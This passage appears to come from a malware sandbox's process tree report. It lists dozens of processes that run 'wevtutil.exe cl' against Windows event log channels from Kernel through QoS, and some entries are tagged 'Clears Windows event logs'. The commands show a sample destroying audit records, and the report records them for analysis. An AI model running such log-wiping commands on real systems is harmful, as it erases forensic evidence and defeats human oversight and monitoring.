    wevtutil.exe cl "Microsoft-Windows-Kernel-BootDiagnostics/Diagnostic"
    3⤵
    PID:7800
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-Disk/Analytic"
    3⤵
    PID:5276
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-EventTracing/Admin"
    3⤵
    PID:1152
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-EventTracing/Analytic"
    3⤵
    PID:8060
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-File/Analytic"
    3⤵
    PID:5972
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-IO/Operational"
    3⤵
    PID:6048
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-Interrupt-Steering/Diagnostic"
    3⤵
    PID:6764
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-IoTrace/Diagnostic"
    3⤵
    PID:4748
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-LiveDump/Analytic"
    3⤵
    PID:5436
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-LiveDump/Operational"
    3⤵
    PID:6228
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-Memory/Analytic"
    3⤵
    PID:4468
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-Network/Analytic"
    3⤵
    PID:5308
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-Pdc/Diagnostic"
    3⤵
    PID:6376
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-Pep/Diagnostic"
    3⤵
    PID:6644
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-PnP/Boot Diagnostic"
    3⤵
    PID:6580
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-PnP/Configuration"
    3⤵
    PID:5760
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-PnP/Configuration Diagnostic"
    3⤵
    PID:5112
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-PnP/Device Enumeration Diagnostic"
    3⤵
    PID:3824
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-PnP/Driver Diagnostic"
    3⤵
    PID:5216
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-PnP/Driver Watchdog"
    3⤵
    PID:2864
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-Power/Diagnostic"
    3⤵
    PID:6540
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-Power/Thermal-Diagnostic"
    3⤵
    PID:6572
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-Power/Thermal-Operational"
    3⤵
    PID:7668
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-Prefetch/Diagnostic"
    3⤵
    PID:5552
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-Process/Analytic"
    3⤵
    PID:3768
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-Processor-Power/Diagnostic"
    3⤵
    PID:8004
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-Registry/Analytic"
    3⤵
    PID:5020
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-Registry/Performance"
    3⤵
    PID:4640
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-ShimEngine/Debug"
    3⤵
    PID:1896
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-ShimEngine/Diagnostic"
    3⤵
    PID:7164
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-ShimEngine/Operational"
    3⤵
    PID:2888
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-StoreMgr/Analytic"
    3⤵
    PID:1000
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-StoreMgr/Operational"
    3⤵
    PID:5524
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-WDI/Analytic"
    3⤵
    PID:8028
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-WDI/Debug"
    3⤵
    PID:7884
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-WDI/Operational"
    3⤵
    PID:5792
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-WHEA/Errors"
    3⤵
    PID:7816
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-WHEA/Operational"
    3⤵
    PID:1176
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-XDV/Analytic"
    3⤵
    PID:6284
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-KeyboardFilter/Admin"
    3⤵
    PID:4252
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-KeyboardFilter/Operational"
    3⤵
    PID:7580
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-KeyboardFilter/Performance"
    3⤵
    - Clears Windows event logs
    PID:4344
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Known Folders API Service"
    3⤵
    PID:6948
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-L2NA/Diagnostic"
    3⤵
    PID:7716
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-LDAP-Client/Debug"
    3⤵
    PID:7108
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-LSA/Diagnostic"
    3⤵
    - Clears Windows event logs
    PID:5312
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-LSA/Operational"
    3⤵
    PID:7048
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-LSA/Performance"
    3⤵
    PID:8068
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-LUA-ConsentUI/Diagnostic"
    3⤵
    PID:5208
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-LanguagePackSetup/Analytic"
    3⤵
    PID:4552
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-LanguagePackSetup/Debug"
    3⤵
    PID:7624
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-LanguagePackSetup/Operational"
    3⤵
    PID:3680
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-LimitsManagement/Diagnostic"
    3⤵
    PID:5224
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-LinkLayerDiscoveryProtocol/Diagnostic"
    3⤵
    PID:6664
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-LinkLayerDiscoveryProtocol/Operational"
    3⤵
    PID:2372
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-LiveId/Analytic"
    3⤵
    PID:7768
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-LiveId/Operational"
    3⤵
    PID:3096
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-MPEG2-Video-Encoder-MFT_Analytic"
    3⤵
    PID:7772
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-MPS-CLNT/Diagnostic"
    3⤵
    PID:7208
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-MPS-DRV/Diagnostic"
    3⤵
    PID:2752
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-MPS-SRV/Diagnostic"
    3⤵
    PID:3712
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-MSFTEDIT/Diagnostic"
    3⤵
    - Clears Windows event logs
    PID:6308
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-MSPaint/Admin"
    3⤵
    PID:732
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-MSPaint/Debug"
    3⤵
    PID:7924
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-MSPaint/Diagnostic"
    3⤵
    - Clears Windows event logs
    PID:848
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-MUI/Admin"
    3⤵
    PID:5444
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-MUI/Analytic"
    3⤵
    PID:1700
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-MUI/Debug"
    3⤵
    PID:7548
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-MUI/Operational"
    3⤵
    PID:6036
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Media-Streaming/DMC"
    3⤵
    PID:6100
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Media-Streaming/DMR"
    3⤵
    PID:4808
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Media-Streaming/MDE"
    3⤵
    PID:1712
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-MediaFoundation-MFCaptureEngine/MFCaptureEngine"
    3⤵
    PID:6932
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-MediaFoundation-MFReadWrite/SinkWriter"
    3⤵
    PID:2588
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-MediaFoundation-MFReadWrite/SourceReader"
    3⤵
    PID:4636
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-MediaFoundation-MFReadWrite/Transform"
    3⤵
    PID:4260
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-MediaFoundation-Performance/SARStreamResource"
    3⤵
    PID:8188
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-MediaFoundation-PlayAPI/Analytic"
    3⤵
    PID:768
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-MemoryDiagnostics-Results/Debug"
    3⤵
    PID:7468
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Minstore/Analytic"
    3⤵
    PID:3672
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Minstore/Debug"
    3⤵
    PID:1528
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Mobile-Broadband-Experience-Api-Internal/Analytic"
    3⤵
    PID:2004
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Mobile-Broadband-Experience-Api/Analytic"
    3⤵
    PID:548
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Mobile-Broadband-Experience-Parser-Task/Analytic"
    3⤵
    PID:7896
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Mobile-Broadband-Experience-Parser-Task/Operational"
    3⤵
    PID:6024
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Mobile-Broadband-Experience-SmsApi/Analytic"
    3⤵
    PID:6884
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-MobilityCenter/Performance"
    3⤵
    PID:7592
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ModernDeployment-Diagnostics-Provider/Admin"
    3⤵
    PID:6976
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ModernDeployment-Diagnostics-Provider/Autopilot"
    3⤵
    PID:6844
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ModernDeployment-Diagnostics-Provider/Debug"
    3⤵
    PID:4832
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ModernDeployment-Diagnostics-Provider/ManagementService"
    3⤵
    - Clears Windows event logs
    PID:4428
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Mprddm/Operational"
    3⤵
    PID:2832
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-NCSI/Analytic"
    3⤵
    PID:2460
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-NCSI/Operational"
    3⤵
    PID:5464
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-NDF-HelperClassDiscovery/Debug"
    3⤵
    PID:5192
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-NDIS-PacketCapture/Diagnostic"
    3⤵
    PID:2280
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-NDIS/Diagnostic"
    3⤵
    PID:5232
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-NDIS/Operational"
    3⤵
    PID:972
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-NTLM/Operational"
    3⤵
    PID:7920
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-NWiFi/Diagnostic"
    3⤵
    PID:836
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Narrator/Diagnostic"
    3⤵
    PID:5588
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Ncasvc/Operational"
    3⤵
    PID:6828
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-NcdAutoSetup/Diagnostic"
    3⤵
    PID:7012
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-NcdAutoSetup/Operational"
    3⤵
    PID:2668
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-NdisImPlatform/Operational"
    3⤵
    PID:6676
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Ndu/Diagnostic"
    3⤵
    PID:5744
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-NetShell/Performance"
    3⤵
    PID:5976
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Network-Connection-Broker"
    3⤵
    PID:4528
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Network-DataUsage/Analytic"
    3⤵
    PID:2444
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Network-Setup/Diagnostic"
    3⤵
    PID:4764
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Network-and-Sharing-Center/Diagnostic"
    3⤵
    PID:6448
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-NetworkBridge/Diagnostic"
    3⤵
    PID:8076
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-NetworkLocationWizard/Operational"
    3⤵
    PID:5456
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-NetworkProfile/Diagnostic"
    3⤵
    PID:7352
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-NetworkProfile/Operational"
    3⤵
    PID:7936
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-NetworkProvider/Operational"
    3⤵
    - Clears Windows event logs
    PID:2948
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-NetworkProvisioning/Analytic"
    3⤵
    PID:7992
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-NetworkProvisioning/Operational"
    3⤵
    PID:6612
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-NetworkSecurity/Debug"
    3⤵
    PID:7704
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-NetworkStatus/Analytic"
    3⤵
    PID:4304
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Networking-Correlation/Diagnostic"
    3⤵
    PID:5248
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Networking-RealTimeCommunication/Tracing"
    3⤵
    - System Time Discovery
    PID:1560
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-NlaSvc/Diagnostic"
    3⤵
    PID:5040
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-NlaSvc/Operational"
    3⤵
    PID:2300
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Ntfs/Operational"
    3⤵
    PID:4904
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Ntfs/Performance"
    3⤵
    PID:4840
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Ntfs/WHC"
    3⤵
    PID:5596
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-OLE/Clipboard-Performance"
    3⤵
    PID:628
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-OLEACC/Debug"
    3⤵
    PID:1152
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-OLEACC/Diagnostic"
    3⤵
    PID:3208
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-OOBE-FirstLogonAnim/Diagnostic"
    3⤵
    PID:4396
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-OOBE-Machine-Core/Diagnostic"
    3⤵
    PID:6456
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-OOBE-Machine-DUI/Diagnostic"
    3⤵
    PID:6564
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-OOBE-Machine-DUI/Operational"
    3⤵
    PID:6228
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-OOBE-Machine-Plugins-Wireless/Diagnostic"
    3⤵
    PID:5200
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-OcpUpdateAgent/Operational"
    3⤵
    PID:7940
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-OfflineFiles/Analytic"
    3⤵
    PID:2924
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-OfflineFiles/Debug"
    3⤵
    PID:1264
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-OfflineFiles/Operational"
    3⤵
    PID:7440
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-OfflineFiles/SyncLog"
    3⤵
    - Clears Windows event logs
    PID:1124
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-OneBackup/Debug"
    3⤵
    PID:7312
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-OneX/Diagnostic"
    3⤵
    PID:6832
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-OneX/Operational"
    3⤵
    PID:7380
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-OobeLdr/Analytic"
    3⤵
    PID:4316
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-OtpCredentialProvider/Operational"
    3⤵
    PID:8144
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PCI/Diagnostic"
    3⤵
    PID:5204
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PackageStateRoaming/Analytic"
    3⤵
    PID:1844
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PackageStateRoaming/Debug"
    3⤵
    PID:7376
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PackageStateRoaming/Operational"
    3⤵
    PID:4320
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ParentalControls/Operational"
    3⤵
    PID:6700
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Partition/Analytic"
    3⤵
    PID:7724
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Partition/Diagnostic"
    3⤵
    PID:3736
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PeerToPeerDrtEventProvider/Diagnostic"
    3⤵
    PID:6772
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PerceptionRuntime/Operational"
    3⤵
    PID:6728
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PerceptionSensorDataService/Operational"
    3⤵
    PID:3516
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PersistentMemory-Nvdimm/Analytic"
    3⤵
    PID:4156
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PersistentMemory-Nvdimm/Diagnostic"
    3⤵
    PID:7584
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PersistentMemory-Nvdimm/Operational"
    3⤵
    PID:2556
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PersistentMemory-PmemDisk/Analytic"
    3⤵
    PID:5236
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PersistentMemory-PmemDisk/Diagnostic"
    3⤵
    PID:4252
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PersistentMemory-PmemDisk/Operational"
    3⤵
    PID:5388
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PersistentMemory-ScmBus/Analytic"
    3⤵
    PID:3172
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PersistentMemory-ScmBus/Certification"
    3⤵
    PID:6156
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PersistentMemory-ScmBus/Diagnose"
    3⤵
    PID:7452
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PersistentMemory-ScmBus/Operational"
    3⤵
    PID:7176
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PhotoAcq/Analytic"
    3⤵
    PID:6452
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PlayToManager/Analytic"
    3⤵
    PID:5208
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Policy/Analytic"
    3⤵
    PID:6128
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Policy/Operational"
    3⤵
    PID:1428
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PortableDeviceStatusProvider/Analytic"
    3⤵
    PID:3228
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PortableDeviceSyncProvider/Analytic"
    3⤵
    PID:1232
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Power-Meter-Polling/Diagnostic"
    3⤵
    PID:7572
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PowerCfg/Diagnostic"
    3⤵
    - Power Settings
    PID:2116
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PowerCpl/Diagnostic"
    3⤵
    PID:7020
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PowerEfficiencyDiagnostics/Diagnostic"
    3⤵
    PID:3712
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PowerShell-DesiredStateConfiguration-FileDownloadManager/Analytic"
    3⤵
    PID:3336
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PowerShell-DesiredStateConfiguration-FileDownloadManager/Debug"
    3⤵
    PID:3496
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PowerShell-DesiredStateConfiguration-FileDownloadManager/Operational"
    3⤵
    PID:5696
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PowerShell/Admin"
    3⤵
    PID:5692
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PowerShell/Analytic"
    3⤵
    PID:6296
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PowerShell/Debug"
    3⤵
    PID:7612
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PowerShell/Operational"
    3⤵
    PID:1912
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PrimaryNetworkIcon/Performance"
    3⤵
    PID:7276
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PrintBRM/Admin"
    3⤵
    PID:1184
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PrintService-USBMon/Debug"
    3⤵
    PID:5648
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PrintService/Admin"
    3⤵
    PID:5796
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PrintService/Debug"
    3⤵
    PID:5720
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PrintService/Operational"
    3⤵
    PID:5912
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Privacy-Auditing/Operational"
    3⤵
    PID:7036
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ProcessStateManager/Diagnostic"
    3⤵
    PID:7804
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Program-Compatibility-Assistant/Analytic"
    3⤵
    PID:6024
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Program-Compatibility-Assistant/CompatAfterUpgrade"
    3⤵
    PID:3444
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Provisioning-Diagnostics-Provider/Admin"
    3⤵
    PID:1244
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Provisioning-Diagnostics-Provider/AutoPilot"
    3⤵
    PID:1196
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Provisioning-Diagnostics-Provider/Debug"
    3⤵
    PID:5424
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Provisioning-Diagnostics-Provider/ManagementService"
    3⤵
    PID:4428
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Proximity-Common/Diagnostic"
    3⤵
    PID:2832
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Proximity-Common/Informational"
    3⤵
    PID:3136
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Proximity-Common/Performance"
    3⤵
    PID:7728
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PushNotification-Developer/Debug"
    3⤵
    PID:932
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PushNotification-InProc/Debug"
    3⤵
    PID:6132
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PushNotification-Platform/Admin"
    3⤵
    PID:5196
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PushNotification-Platform/Debug"
    3⤵
    PID:6588
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PushNotification-Platform/Operational"
    3⤵
    PID:8104
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-QoS-Pacer/Diagnostic"
    3⤵
    PID:4924
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-QoS-qWAVE/Debug"
    3⤵
    PID:5428
